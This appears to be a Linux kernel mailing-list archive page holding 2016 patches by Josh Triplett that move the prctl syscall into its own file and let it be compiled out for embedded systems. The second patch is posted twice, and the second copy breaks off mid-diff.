+		comm[sizeof(me->comm) - 1] = 0;
+		if (strncpy_from_user(comm, (char __user *)arg2,
+				      sizeof(me->comm) - 1) < 0)
+			return -EFAULT;
+		set_task_comm(me, comm);
+		proc_comm_connector(me);
+		break;
+	case PR_GET_NAME:
+		get_task_comm(comm, me);
+		if (copy_to_user((char __user *)arg2, comm, sizeof(comm)))
+			return -EFAULT;
+		break;
+	case PR_GET_ENDIAN:
+		error = GET_ENDIAN(me, arg2);
+		break;
+	case PR_SET_ENDIAN:
+		error = SET_ENDIAN(me, arg2);
+		break;
+	case PR_GET_SECCOMP:
+		error = prctl_get_seccomp();
+		break;
+	case PR_SET_SECCOMP:
+		error = prctl_set_seccomp(arg2, (char __user *)arg3);
+		break;
+	case PR_GET_TSC:
+		error = GET_TSC_CTL(arg2);
+		break;
+	case PR_SET_TSC:
+		error = SET_TSC_CTL(arg2);
+		break;
+	case PR_TASK_PERF_EVENTS_DISABLE:
+		error = perf_event_task_disable();
+		break;
+	case PR_TASK_PERF_EVENTS_ENABLE:
+		error = perf_event_task_enable();
+		break;
+	case PR_GET_TIMERSLACK:
+		if (current->timer_slack_ns > ULONG_MAX)
+			error = ULONG_MAX;
+		else
+			error = current->timer_slack_ns;
+		break;
+	case PR_SET_TIMERSLACK:
+		if (arg2 <= 0)
+			current->timer_slack_ns =
+					current->default_timer_slack_ns;
+		else
+			current->timer_slack_ns = arg2;
+		break;
+	case PR_MCE_KILL:
+		if (arg4 | arg5)
+			return -EINVAL;
+		switch (arg2) {
+		case PR_MCE_KILL_CLEAR:
+			if (arg3 != 0)
+				return -EINVAL;
+			current->flags &= ~PF_MCE_PROCESS;
+			break;
+		case PR_MCE_KILL_SET:
+			current->flags |= PF_MCE_PROCESS;
+			if (arg3 == PR_MCE_KILL_EARLY)
+				current->flags |= PF_MCE_EARLY;
+			else if (arg3 == PR_MCE_KILL_LATE)
+				current->flags &= ~PF_MCE_EARLY;
+			else if (arg3 == PR_MCE_KILL_DEFAULT)
+				current->flags &=
+						~(PF_MCE_EARLY|PF_MCE_PROCESS);
+			else
+				return -EINVAL;
+			break;
+		default:
+			return -EINVAL;
+		}
+		break;
+	case PR_MCE_KILL_GET:
+		if (arg2 | arg3 | arg4 | arg5)
+			return -EINVAL;
+		if (current->flags & PF_MCE_PROCESS)
+			error = (current->flags & PF_MCE_EARLY) ?
+				PR_MCE_KILL_EARLY : PR_MCE_KILL_LATE;
+		else
+			error = PR_MCE_KILL_DEFAULT;
+		break;
+	case PR_SET_MM:
+		error = prctl_set_mm(arg2, arg3, arg4, arg5);
+		break;
+	case PR_GET_TID_ADDRESS:
+		error = prctl_get_tid_address(me, (int __user **)arg2);
+		break;
+	case PR_SET_CHILD_SUBREAPER:
+		me->signal->is_child_subreaper = !!arg2;
+		break;
+	case PR_GET_CHILD_SUBREAPER:
+		error = put_user(me->signal->is_child_subreaper,
+				 (int __user *)arg2);
+		break;
+	case PR_SET_NO_NEW_PRIVS:
+		if (arg2 != 1 || arg3 || arg4 || arg5)
+			return -EINVAL;
+
+		task_set_no_new_privs(current);
+		break;
+	case PR_GET_NO_NEW_PRIVS:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		return task_no_new_privs(current) ? 1 : 0;
+	case PR_GET_THP_DISABLE:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		error = !!(me->mm->def_flags & VM_NOHUGEPAGE);
+		break;
+	case PR_SET_THP_DISABLE:
+		if (arg3 || arg4 || arg5)
+			return -EINVAL;
+		if (down_write_killable(&me->mm->mmap_sem))
+			return -EINTR;
+		if (arg2)
+			me->mm->def_flags |= VM_NOHUGEPAGE;
+		else
+			me->mm->def_flags &= ~VM_NOHUGEPAGE;
+		up_write(&me->mm->mmap_sem);
+		break;
+	case PR_MPX_ENABLE_MANAGEMENT:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		error = MPX_ENABLE_MANAGEMENT();
+		break;
+	case PR_MPX_DISABLE_MANAGEMENT:
+		if (arg2 || arg3 || arg4 || arg5)
+			return -EINVAL;
+		error = MPX_DISABLE_MANAGEMENT();
+		break;
+	case PR_SET_FP_MODE:
+		error = SET_FP_MODE(me, arg2);
+		break;
+	case PR_GET_FP_MODE:
+		error = GET_FP_MODE(me);
+		break;
+	default:
+		error = -EINVAL;
+		break;
+	}
+	return error;
+}
+
diff --git a/kernel/sys.c b/kernel/sys.c
index 89d5be4..bda75ca 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -9,7 +9,6 @@
 #include <linux/utsname.h>
 #include <linux/mman.h>
 #include <linux/reboot.h>
-#include <linux/prctl.h>
 #include <linux/highuid.h>
 #include <linux/fs.h>
 #include <linux/kmod.h>
@@ -61,49 +60,6 @@
 #include <asm/io.h>
 #include <asm/unistd.h>
 
-#ifndef SET_UNALIGN_CTL
-# define SET_UNALIGN_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_UNALIGN_CTL
-# define GET_UNALIGN_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef SET_FPEMU_CTL
-# define SET_FPEMU_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_FPEMU_CTL
-# define GET_FPEMU_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef SET_FPEXC_CTL
-# define SET_FPEXC_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_FPEXC_CTL
-# define GET_FPEXC_CTL(a, b)	(-EINVAL)
-#endif
-#ifndef GET_ENDIAN
-# define GET_ENDIAN(a, b)	(-EINVAL)
-#endif
-#ifndef SET_ENDIAN
-# define SET_ENDIAN(a, b)	(-EINVAL)
-#endif
-#ifndef GET_TSC_CTL
-# define GET_TSC_CTL(a)		(-EINVAL)
-#endif
-#ifndef SET_TSC_CTL
-# define SET_TSC_CTL(a)		(-EINVAL)
-#endif
-#ifndef MPX_ENABLE_MANAGEMENT
-# define MPX_ENABLE_MANAGEMENT()	(-EINVAL)
-#endif
-#ifndef MPX_DISABLE_MANAGEMENT
-# define MPX_DISABLE_MANAGEMENT()	(-EINVAL)
-#endif
-#ifndef GET_FP_MODE
-# define GET_FP_MODE(a)		(-EINVAL)
-#endif
-#ifndef SET_FP_MODE
-# define SET_FP_MODE(a,b)	(-EINVAL)
-#endif
-
 /*
  * this is where the system-wide overflow UID and GID are defined, for
  * architectures that now have 32-bit UID/GID but didn't in the past
@@ -1649,634 +1605,6 @@ SYSCALL_DEFINE1(umask, int, mask)
 	return mask;
 }
 
-static int prctl_set_mm_exe_file(struct mm_struct *mm, unsigned int fd)
-{
-	struct fd exe;
-	struct file *old_exe, *exe_file;
-	struct inode *inode;
-	int err;
-
-	exe = fdget(fd);
-	if (!exe.file)
-		return -EBADF;
-
-	inode = file_inode(exe.file);
-
-	/*
-	 * Because the original mm->exe_file points to executable file, make
-	 * sure that this one is executable as well, to avoid breaking an
-	 * overall picture.
-	 */
-	err = -EACCES;
-	if (!S_ISREG(inode->i_mode) || path_noexec(&exe.file->f_path))
-		goto exit;
-
-	err = inode_permission(inode, MAY_EXEC);
-	if (err)
-		goto exit;
-
-	/*
-	 * Forbid mm->exe_file change if old file still mapped.
-	 */
-	exe_file = get_mm_exe_file(mm);
-	err = -EBUSY;
-	if (exe_file) {
-		struct vm_area_struct *vma;
-
-		down_read(&mm->mmap_sem);
-		for (vma = mm->mmap; vma; vma = vma->vm_next) {
-			if (!vma->vm_file)
-				continue;
-			if (path_equal(&vma->vm_file->f_path,
-				       &exe_file->f_path))
-				goto exit_err;
-		}
-
-		up_read(&mm->mmap_sem);
-		fput(exe_file);
-	}
-
-	/*
-	 * The symlink can be changed only once, just to disallow arbitrary
-	 * transitions malicious software might bring in. This means one
-	 * could make a snapshot over all processes running and monitor
-	 * /proc/pid/exe changes to notice unusual activity if needed.
-	 */
-	err = -EPERM;
-	if (test_and_set_bit(MMF_EXE_FILE_CHANGED, &mm->flags))
-		goto exit;
-
-	err = 0;
-	/* set the new file, lockless */
-	get_file(exe.file);
-	old_exe = xchg(&mm->exe_file, exe.file);
-	if (old_exe)
-		fput(old_exe);
-exit:
-	fdput(exe);
-	return err;
-exit_err:
-	up_read(&mm->mmap_sem);
-	fput(exe_file);
-	goto exit;
-}
-
-/*
- * WARNING: we don't require any capability here so be very careful
- * in what is allowed for modification from userspace.
- */
-static int validate_prctl_map(struct prctl_mm_map *prctl_map)
-{
-	unsigned long mmap_max_addr = TASK_SIZE;
-	struct mm_struct *mm = current->mm;
-	int error = -EINVAL, i;
-
-	static const unsigned char offsets[] = {
-		offsetof(struct prctl_mm_map, start_code),
-		offsetof(struct prctl_mm_map, end_code),
-		offsetof(struct prctl_mm_map, start_data),
-		offsetof(struct prctl_mm_map, end_data),
-		offsetof(struct prctl_mm_map, start_brk),
-		offsetof(struct prctl_mm_map, brk),
-		offsetof(struct prctl_mm_map, start_stack),
-		offsetof(struct prctl_mm_map, arg_start),
-		offsetof(struct prctl_mm_map, arg_end),
-		offsetof(struct prctl_mm_map, env_start),
-		offsetof(struct prctl_mm_map, env_end),
-	};
-
-	/*
-	 * Make sure the members are not somewhere outside
-	 * of allowed address space.
-	 */
-	for (i = 0; i < ARRAY_SIZE(offsets); i++) {
-		u64 val = *(u64 *)((char *)prctl_map + offsets[i]);
-
-		if ((unsigned long)val >= mmap_max_addr ||
-		    (unsigned long)val < mmap_min_addr)
-			goto out;
-	}
-
-	/*
-	 * Make sure the pairs are ordered.
-	 */
-#define __prctl_check_order(__m1, __op, __m2)				\
-	((unsigned long)prctl_map->__m1 __op				\
-	 (unsigned long)prctl_map->__m2) ? 0 : -EINVAL
-	error  = __prctl_check_order(start_code, <, end_code);
-	error |= __prctl_check_order(start_data, <, end_data);
-	error |= __prctl_check_order(start_brk, <=, brk);
-	error |= __prctl_check_order(arg_start, <=, arg_end);
-	error |= __prctl_check_order(env_start, <=, env_end);
-	if (error)
-		goto out;
-#undef __prctl_check_order
-
-	error = -EINVAL;
-
-	/*
-	 * @brk should be after @end_data in traditional maps.
-	 */
-	if (prctl_map->start_brk <= prctl_map->end_data ||
-	    prctl_map->brk <= prctl_map->end_data)
-		goto out;
-
-	/*
-	 * Neither we should allow to override limits if they set.
-	 */
-	if (check_data_rlimit(rlimit(RLIMIT_DATA), prctl_map->brk,
-			      prctl_map->start_brk, prctl_map->end_data,
-			      prctl_map->start_data))
-			goto out;
-
-	/*
-	 * Someone is trying to cheat the auxv vector.
-	 */
-	if (prctl_map->auxv_size) {
-		if (!prctl_map->auxv || prctl_map->auxv_size > sizeof(mm->saved_auxv))
-			goto out;
-	}
-
-	/*
-	 * Finally, make sure the caller has the rights to
-	 * change /proc/pid/exe link: only local root should
-	 * be allowed to.
-	 */
-	if (prctl_map->exe_fd != (u32)-1) {
-		struct user_namespace *ns = current_user_ns();
-		const struct cred *cred = current_cred();
-
-		if (!uid_eq(cred->uid, make_kuid(ns, 0)) ||
-		    !gid_eq(cred->gid, make_kgid(ns, 0)))
-			goto out;
-	}
-
-	error = 0;
-out:
-	return error;
-}
-
-#ifdef CONFIG_CHECKPOINT_RESTORE
-static int prctl_set_mm_map(int opt, const void __user *addr, unsigned long data_size)
-{
-	struct prctl_mm_map prctl_map = { .exe_fd = (u32)-1, };
-	unsigned long user_auxv[AT_VECTOR_SIZE];
-	struct mm_struct *mm = current->mm;
-	int error;
-
-	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
-	BUILD_BUG_ON(sizeof(struct prctl_mm_map) > 256);
-
-	if (opt == PR_SET_MM_MAP_SIZE)
-		return put_user((unsigned int)sizeof(prctl_map),
-				(unsigned int __user *)addr);
-
-	if (data_size != sizeof(prctl_map))
-		return -EINVAL;
-
-	if (copy_from_user(&prctl_map, addr, sizeof(prctl_map)))
-		return -EFAULT;
-
-	error = validate_prctl_map(&prctl_map);
-	if (error)
-		return error;
-
-	if (prctl_map.auxv_size) {
-		memset(user_auxv, 0, sizeof(user_auxv));
-		if (copy_from_user(user_auxv,
-				   (const void __user *)prctl_map.auxv,
-				   prctl_map.auxv_size))
-			return -EFAULT;
-
-		/* Last entry must be AT_NULL as specification requires */
-		user_auxv[AT_VECTOR_SIZE - 2] = AT_NULL;
-		user_auxv[AT_VECTOR_SIZE - 1] = AT_NULL;
-	}
-
-	if (prctl_map.exe_fd != (u32)-1) {
-		error = prctl_set_mm_exe_file(mm, prctl_map.exe_fd);
-		if (error)
-			return error;
-	}
-
-	down_write(&mm->mmap_sem);
-
-	/*
-	 * We don't validate if these members are pointing to
-	 * real present VMAs because application may have correspond
-	 * VMAs already unmapped and kernel uses these members for statistics
-	 * output in procfs mostly, except
-	 *
-	 *  - @start_brk/@brk which are used in do_brk but kernel lookups
-	 *    for VMAs when updating these memvers so anything wrong written
-	 *    here cause kernel to swear at userspace program but won't lead
-	 *    to any problem in kernel itself
-	 */
-
-	mm->start_code	= prctl_map.start_code;
-	mm->end_code	= prctl_map.end_code;
-	mm->start_data	= prctl_map.start_data;
-	mm->end_data	= prctl_map.end_data;
-	mm->start_brk	= prctl_map.start_brk;
-	mm->brk		= prctl_map.brk;
-	mm->start_stack	= prctl_map.start_stack;
-	mm->arg_start	= prctl_map.arg_start;
-	mm->arg_end	= prctl_map.arg_end;
-	mm->env_start	= prctl_map.env_start;
-	mm->env_end	= prctl_map.env_end;
-
-	/*
-	 * Note this update of @saved_auxv is lockless thus
-	 * if someone reads this member in procfs while we're
-	 * updating -- it may get partly updated results. It's
-	 * known and acceptable trade off: we leave it as is to
-	 * not introduce additional locks here making the kernel
-	 * more complex.
-	 */
-	if (prctl_map.auxv_size)
-		memcpy(mm->saved_auxv, user_auxv, sizeof(user_auxv));
-
-	up_write(&mm->mmap_sem);
-	return 0;
-}
-#endif /* CONFIG_CHECKPOINT_RESTORE */
-
-static int prctl_set_auxv(struct mm_struct *mm, unsigned long addr,
-			  unsigned long len)
-{
-	/*
-	 * This doesn't move the auxiliary vector itself since it's pinned to
-	 * mm_struct, but it permits filling the vector with new values.  It's
-	 * up to the caller to provide sane values here, otherwise userspace
-	 * tools which use this vector might be unhappy.
-	 */
-	unsigned long user_auxv[AT_VECTOR_SIZE];
-
-	if (len > sizeof(user_auxv))
-		return -EINVAL;
-
-	if (copy_from_user(user_auxv, (const void __user *)addr, len))
-		return -EFAULT;
-
-	/* Make sure the last entry is always AT_NULL */
-	user_auxv[AT_VECTOR_SIZE - 2] = 0;
-	user_auxv[AT_VECTOR_SIZE - 1] = 0;
-
-	BUILD_BUG_ON(sizeof(user_auxv) != sizeof(mm->saved_auxv));
-
-	task_lock(current);
-	memcpy(mm->saved_auxv, user_auxv, len);
-	task_unlock(current);
-
-	return 0;
-}
-
-static int prctl_set_mm(int opt, unsigned long addr,
-			unsigned long arg4, unsigned long arg5)
-{
-	struct mm_struct *mm = current->mm;
-	struct prctl_mm_map prctl_map;
-	struct vm_area_struct *vma;
-	int error;
-
-	if (arg5 || (arg4 && (opt != PR_SET_MM_AUXV &&
-			      opt != PR_SET_MM_MAP &&
-			      opt != PR_SET_MM_MAP_SIZE)))
-		return -EINVAL;
-
-#ifdef CONFIG_CHECKPOINT_RESTORE
-	if (opt == PR_SET_MM_MAP || opt == PR_SET_MM_MAP_SIZE)
-		return prctl_set_mm_map(opt, (const void __user *)addr, arg4);
-#endif
-
-	if (!capable(CAP_SYS_RESOURCE))
-		return -EPERM;
-
-	if (opt == PR_SET_MM_EXE_FILE)
-		return prctl_set_mm_exe_file(mm, (unsigned int)addr);
-
-	if (opt == PR_SET_MM_AUXV)
-		return prctl_set_auxv(mm, addr, arg4);
-
-	if (addr >= TASK_SIZE || addr < mmap_min_addr)
-		return -EINVAL;
-
-	error = -EINVAL;
-
-	down_write(&mm->mmap_sem);
-	vma = find_vma(mm, addr);
-
-	prctl_map.start_code	= mm->start_code;
-	prctl_map.end_code	= mm->end_code;
-	prctl_map.start_data	= mm->start_data;
-	prctl_map.end_data	= mm->end_data;
-	prctl_map.start_brk	= mm->start_brk;
-	prctl_map.brk		= mm->brk;
-	prctl_map.start_stack	= mm->start_stack;
-	prctl_map.arg_start	= mm->arg_start;
-	prctl_map.arg_end	= mm->arg_end;
-	prctl_map.env_start	= mm->env_start;
-	prctl_map.env_end	= mm->env_end;
-	prctl_map.auxv		= NULL;
-	prctl_map.auxv_size	= 0;
-	prctl_map.exe_fd	= -1;
-
-	switch (opt) {
-	case PR_SET_MM_START_CODE:
-		prctl_map.start_code = addr;
-		break;
-	case PR_SET_MM_END_CODE:
-		prctl_map.end_code = addr;
-		break;
-	case PR_SET_MM_START_DATA:
-		prctl_map.start_data = addr;
-		break;
-	case PR_SET_MM_END_DATA:
-		prctl_map.end_data = addr;
-		break;
-	case PR_SET_MM_START_STACK:
-		prctl_map.start_stack = addr;
-		break;
-	case PR_SET_MM_START_BRK:
-		prctl_map.start_brk = addr;
-		break;
-	case PR_SET_MM_BRK:
-		prctl_map.brk = addr;
-		break;
-	case PR_SET_MM_ARG_START:
-		prctl_map.arg_start = addr;
-		break;
-	case PR_SET_MM_ARG_END:
-		prctl_map.arg_end = addr;
-		break;
-	case PR_SET_MM_ENV_START:
-		prctl_map.env_start = addr;
-		break;
-	case PR_SET_MM_ENV_END:
-		prctl_map.env_end = addr;
-		break;
-	default:
-		goto out;
-	}
-
-	error = validate_prctl_map(&prctl_map);
-	if (error)
-		goto out;
-
-	switch (opt) {
-	/*
-	 * If command line arguments and environment
-	 * are placed somewhere else on stack, we can
-	 * set them up here, ARG_START/END to setup
-	 * command line argumets and ENV_START/END
-	 * for environment.
-	 */
-	case PR_SET_MM_START_STACK:
-	case PR_SET_MM_ARG_START:
-	case PR_SET_MM_ARG_END:
-	case PR_SET_MM_ENV_START:
-	case PR_SET_MM_ENV_END:
-		if (!vma) {
-			error = -EFAULT;
-			goto out;
-		}
-	}
-
-	mm->start_code	= prctl_map.start_code;
-	mm->end_code	= prctl_map.end_code;
-	mm->start_data	= prctl_map.start_data;
-	mm->end_data	= prctl_map.end_data;
-	mm->start_brk	= prctl_map.start_brk;
-	mm->brk		= prctl_map.brk;
-	mm->start_stack	= prctl_map.start_stack;
-	mm->arg_start	= prctl_map.arg_start;
-	mm->arg_end	= prctl_map.arg_end;
-	mm->env_start	= prctl_map.env_start;
-	mm->env_end	= prctl_map.env_end;
-
-	error = 0;
-out:
-	up_write(&mm->mmap_sem);
-	return error;
-}
-
-#ifdef CONFIG_CHECKPOINT_RESTORE
-static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
-{
-	return put_user(me->clear_child_tid, tid_addr);
-}
-#else
-static int prctl_get_tid_address(struct task_struct *me, int __user **tid_addr)
-{
-	return -EINVAL;
-}
-#endif
-
-SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
-		unsigned long, arg4, unsigned long, arg5)
-{
-	struct task_struct *me = current;
-	unsigned char comm[sizeof(me->comm)];
-	long error;
-
-	error = security_task_prctl(option, arg2, arg3, arg4, arg5);
-	if (error != -ENOSYS)
-		return error;
-
-	error = 0;
-	switch (option) {
-	case PR_SET_PDEATHSIG:
-		if (!valid_signal(arg2)) {
-			error = -EINVAL;
-			break;
-		}
-		me->pdeath_signal = arg2;
-		break;
-	case PR_GET_PDEATHSIG:
-		error = put_user(me->pdeath_signal, (int __user *)arg2);
-		break;
-	case PR_GET_DUMPABLE:
-		error = get_dumpable(me->mm);
-		break;
-	case PR_SET_DUMPABLE:
-		if (arg2 != SUID_DUMP_DISABLE && arg2 != SUID_DUMP_USER) {
-			error = -EINVAL;
-			break;
-		}
-		set_dumpable(me->mm, arg2);
-		break;
-
-	case PR_SET_UNALIGN:
-		error = SET_UNALIGN_CTL(me, arg2);
-		break;
-	case PR_GET_UNALIGN:
-		error = GET_UNALIGN_CTL(me, arg2);
-		break;
-	case PR_SET_FPEMU:
-		error = SET_FPEMU_CTL(me, arg2);
-		break;
-	case PR_GET_FPEMU:
-		error = GET_FPEMU_CTL(me, arg2);
-		break;
-	case PR_SET_FPEXC:
-		error = SET_FPEXC_CTL(me, arg2);
-		break;
-	case PR_GET_FPEXC:
-		error = GET_FPEXC_CTL(me, arg2);
-		break;
-	case PR_GET_TIMING:
-		error = PR_TIMING_STATISTICAL;
-		break;
-	case PR_SET_TIMING:
-		if (arg2 != PR_TIMING_STATISTICAL)
-			error = -EINVAL;
-		break;
-	case PR_SET_NAME:
-		comm[sizeof(me->comm) - 1] = 0;
-		if (strncpy_from_user(comm, (char __user *)arg2,
-				      sizeof(me->comm) - 1) < 0)
-			return -EFAULT;
-		set_task_comm(me, comm);
-		proc_comm_connector(me);
-		break;
-	case PR_GET_NAME:
-		get_task_comm(comm, me);
-		if (copy_to_user((char __user *)arg2, comm, sizeof(comm)))
-			return -EFAULT;
-		break;
-	case PR_GET_ENDIAN:
-		error = GET_ENDIAN(me, arg2);
-		break;
-	case PR_SET_ENDIAN:
-		error = SET_ENDIAN(me, arg2);
-		break;
-	case PR_GET_SECCOMP:
-		error = prctl_get_seccomp();
-		break;
-	case PR_SET_SECCOMP:
-		error = prctl_set_seccomp(arg2, (char __user *)arg3);
-		break;
-	case PR_GET_TSC:
-		error = GET_TSC_CTL(arg2);
-		break;
-	case PR_SET_TSC:
-		error = SET_TSC_CTL(arg2);
-		break;
-	case PR_TASK_PERF_EVENTS_DISABLE:
-		error = perf_event_task_disable();
-		break;
-	case PR_TASK_PERF_EVENTS_ENABLE:
-		error = perf_event_task_enable();
-		break;
-	case PR_GET_TIMERSLACK:
-		if (current->timer_slack_ns > ULONG_MAX)
-			error = ULONG_MAX;
-		else
-			error = current->timer_slack_ns;
-		break;
-	case PR_SET_TIMERSLACK:
-		if (arg2 <= 0)
-			current->timer_slack_ns =
-					current->default_timer_slack_ns;
-		else
-			current->timer_slack_ns = arg2;
-		break;
-	case PR_MCE_KILL:
-		if (arg4 | arg5)
-			return -EINVAL;
-		switch (arg2) {
-		case PR_MCE_KILL_CLEAR:
-			if (arg3 != 0)
-				return -EINVAL;
-			current->flags &= ~PF_MCE_PROCESS;
-			break;
-		case PR_MCE_KILL_SET:
-			current->flags |= PF_MCE_PROCESS;
-			if (arg3 == PR_MCE_KILL_EARLY)
-				current->flags |= PF_MCE_EARLY;
-			else if (arg3 == PR_MCE_KILL_LATE)
-				current->flags &= ~PF_MCE_EARLY;
-			else if (arg3 == PR_MCE_KILL_DEFAULT)
-				current->flags &=
-						~(PF_MCE_EARLY|PF_MCE_PROCESS);
-			else
-				return -EINVAL;
-			break;
-		default:
-			return -EINVAL;
-		}
-		break;
-	case PR_MCE_KILL_GET:
-		if (arg2 | arg3 | arg4 | arg5)
-			return -EINVAL;
-		if (current->flags & PF_MCE_PROCESS)
-			error = (current->flags & PF_MCE_EARLY) ?
-				PR_MCE_KILL_EARLY : PR_MCE_KILL_LATE;
-		else
-			error = PR_MCE_KILL_DEFAULT;
-		break;
-	case PR_SET_MM:
-		error = prctl_set_mm(arg2, arg3, arg4, arg5);
-		break;
-	case PR_GET_TID_ADDRESS:
-		error = prctl_get_tid_address(me, (int __user **)arg2);
-		break;
-	case PR_SET_CHILD_SUBREAPER:
-		me->signal->is_child_subreaper = !!arg2;
-		break;
-	case PR_GET_CHILD_SUBREAPER:
-		error = put_user(me->signal->is_child_subreaper,
-				 (int __user *)arg2);
-		break;
-	case PR_SET_NO_NEW_PRIVS:
-		if (arg2 != 1 || arg3 || arg4 || arg5)
-			return -EINVAL;
-
-		task_set_no_new_privs(current);
-		break;
-	case PR_GET_NO_NEW_PRIVS:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		return task_no_new_privs(current) ? 1 : 0;
-	case PR_GET_THP_DISABLE:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		error = !!(me->mm->def_flags & VM_NOHUGEPAGE);
-		break;
-	case PR_SET_THP_DISABLE:
-		if (arg3 || arg4 || arg5)
-			return -EINVAL;
-		if (down_write_killable(&me->mm->mmap_sem))
-			return -EINTR;
-		if (arg2)
-			me->mm->def_flags |= VM_NOHUGEPAGE;
-		else
-			me->mm->def_flags &= ~VM_NOHUGEPAGE;
-		up_write(&me->mm->mmap_sem);
-		break;
-	case PR_MPX_ENABLE_MANAGEMENT:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		error = MPX_ENABLE_MANAGEMENT();
-		break;
-	case PR_MPX_DISABLE_MANAGEMENT:
-		if (arg2 || arg3 || arg4 || arg5)
-			return -EINVAL;
-		error = MPX_DISABLE_MANAGEMENT();
-		break;
-	case PR_SET_FP_MODE:
-		error = SET_FP_MODE(me, arg2);
-		break;
-	case PR_GET_FP_MODE:
-		error = GET_FP_MODE(me);
-		break;
-	default:
-		error = -EINVAL;
-		break;
-	}
-	return error;
-}
-
 SYSCALL_DEFINE3(getcpu, unsigned __user *, cpup, unsigned __user *, nodep,
 		struct getcpu_cache __user *, unused)
 {
-- 
git-series 0.8.11

^ permalink raw reply related

* [PATCH 2/2] kernel: Support compiling out the prctl syscall
From: Josh Triplett @ 2016-11-09  0:18 UTC (permalink / raw)
  To: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro <viro>
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>

Some embedded systems can do without the prctl syscall, saving some
space.

This also avoids regular increases in tinyconfig size as people add more
non-optional functionality to prctl (observed via the 0-day kernel
infrastructure).

bloat-o-meter results:

add/remove: 0/3 grow/shrink: 0/1 up/down: 0/-2143 (-2143)
function                                     old     new   delta
offsets                                       23      12     -11
prctl_set_auxv                                97       -     -97
sys_prctl                                    794       -    -794
prctl_set_mm                                1241       -   -1241
Total: Before=1902583, After=1900440, chg -0.11%

Signed-off-by: Josh Triplett <josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>
---
 init/Kconfig    | 12 ++++++++++++
 kernel/Makefile |  3 ++-
 kernel/sys_ni.c |  1 +
 3 files changed, 15 insertions(+), 1 deletion(-)

diff --git a/init/Kconfig b/init/Kconfig
index 34407f1..1dd671c 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1408,6 +1408,18 @@ config MULTIUSER
 
 	  If unsure, say Y here.
 
+config PRCTL
+	bool "prctl syscall" if EXPERT
+	default y
+	help
+	  This option enables the prctl syscall, used for a variety of
+	  operations on the current process.
+
+	  If building an embedded system where no applications or libraries use
+	  prctl, you can disable this option to save space.
+
+	  If unsure, say Y here.
+
 config SGETMASK_SYSCALL
 	bool "sgetmask/ssetmask syscalls support" if EXPERT
 	def_bool PARISC || MN10300 || BLACKFIN || M68K || PPC || MIPS || X86 || SPARC || CRIS || MICROBLAZE || SUPERH
diff --git a/kernel/Makefile b/kernel/Makefile
index 37c6d4c..43fb4ca 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -9,9 +9,10 @@ obj-y     = fork.o exec_domain.o panic.o \
 	    extable.o params.o \
 	    kthread.o sys_ni.o nsproxy.o \
 	    notifier.o ksysfs.o cred.o reboot.o \
-	    async.o range.o smpboot.o ucount.o prctl.o
+	    async.o range.o smpboot.o ucount.o
 
 obj-$(CONFIG_MULTIUSER) += groups.o
+obj-$(CONFIG_PRCTL) += prctl.o
 
 ifdef CONFIG_FUNCTION_TRACER
 # Do not trace internal ftrace files
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 635482e..84fd646 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -175,6 +175,7 @@ cond_syscall(sys_setfsgid);
 cond_syscall(sys_capget);
 cond_syscall(sys_capset);
 cond_syscall(sys_copy_file_range);
+cond_syscall(sys_prctl);
 
 /* arch-specific weak syscall entries */
 cond_syscall(sys_pciconfig_read);
-- 
git-series 0.8.11

^ permalink raw reply related

* [PATCH 2/2] kernel: Support compiling out the prctl syscall
From: Josh Triplett @ 2016-11-09  0:18 UTC (permalink / raw)
  To: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro, Zach Brown, Anna Schumaker, Dave Hansen, linux-kernel,
	linux-api
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh@joshtriplett.org>

Some embedded systems can do without the prctl syscall, saving some
space.

This also avoids regular increases in tinyconfig size as people add more
non-optional functionality to prctl (observed via the 0-day kernel
infrastructure).

bloat-o-meter results:

add/remove: 0/3 grow/shrink: 0/1 up/down: 0/-2143 (-2143)
function                                     old     new   delta
offsets                                       23      12     -11
prctl_set_auxv                                97       -     -97
sys_prctl                                    794       -    -794
prctl_set_mm                                1241       -   -1241
Total: Before=1902583, After=1900440, chg -0.11%

Signed-off-by: Josh Triplett <josh@joshtriplett.org>
---
 init/Kconfig    | 12 ++++++++++++
 kernel/Makefile |  3 ++-
 kernel/sys_ni.c |  1 +
 3 files changed, 15 insertions(+), 1 deletion(-)

diff --git a/init/Kconfig b/init/Kconfig
index 34407f1..1dd671c 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1408,6 +1408,18 @@ config MULTIUSER
 
